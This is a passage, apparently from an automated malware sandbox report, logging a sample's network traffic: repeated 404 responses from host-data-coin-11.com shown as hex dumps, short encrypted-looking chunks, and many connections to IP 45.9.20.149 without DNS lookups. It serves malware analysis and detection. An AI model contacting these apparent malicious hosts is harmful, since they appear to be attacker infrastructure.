3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f d1 95 4f 11 6a 11 e9 b2 83 bd a6 0b a2 13 cc 7b b8 43 12 c3 55 a1 b9 67 e3 25 58 51 b8 f6 cb 41 e1 0e 88 16 95 e1 63 da 7d b3 ef d2 01 79 e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OOj{CUg%XQAc}yc0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:52 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 4a ed ac 8e 70 bc 57 da 4a d6 f7 22 81 20 ea c3 96 53 28 ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9JpWJ" S(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:04:59 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:05:00 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:05:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:05:01 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c9 88 55 13 26 14 f9 aa 89 ff a2 1e b7 08 93 31 f9 55 50 99 4a f7 e0 25 e5 39 1a 4b ef a8 8d 70 bc 57 da 4a d5 fe 24 85 21 ed c3 95 53 2f e5 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OU&1UPJ%9KpWJ$!S/c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:05:06 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:05:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:05:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Wed, 01 Dec 2021 09:05:07 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0

Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
Source: unknown	TCP traffic detected without corresponding DNS query: 45.9.20.149
